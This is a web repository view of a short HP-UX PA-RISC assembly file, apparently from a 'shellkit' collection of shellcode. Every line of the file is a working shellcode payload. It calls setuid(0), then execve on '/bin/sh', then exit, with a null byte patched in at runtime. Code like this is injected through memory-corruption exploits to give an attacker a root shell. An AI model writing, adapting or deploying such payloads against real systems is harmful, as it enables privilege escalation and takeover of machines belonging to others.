summaryrefslogtreecommitdiff
path: root/other/shellkit/tmp/hpux-tools/shell-one.s
blob: afbf9f82acd6c52f553f7b35799e422576835529 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    .SPACE $TEXT$
    .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44

    .align 4
    .EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR
main

    bl         shellcode, %r1
    nop
    .SUBSPA $DATA$
    .EXPORT shellcode; So we could see it in debugger
shellcode
        xor     %r26, %r26, %r26; 0 - argv0
        ldil    L%0xc0000000,%r1;  entry point
        ble     0x4(%sr7,%r1)    ;
        ldi     23, %r22

jump
        bl      .+8,%r1      ; address into %r1
        nop
        stb     %r0, SHELL-jump+7-11(%sr0,%r1)

        xor     %r25, %r25, %r25; NULL ->arg1
        ldi     SHELL-jump-11, %r26;
        add     %r1, %r26, %r26;

        ldil    L%0xc0000000,%r1;  entry point
        ble     0x4(%sr7,%r1)    ;
        ldi     11, %r22;

        xor     %r26, %r26, %r26; return 0
        ldil    L%0xc0000000,%r1;  entry point
        ble     0x4(%sr7,%r1)    ;
        ldi     1, %r22          ; exit 

SHELL
                .STRING "/bin/shA";

endofshellcode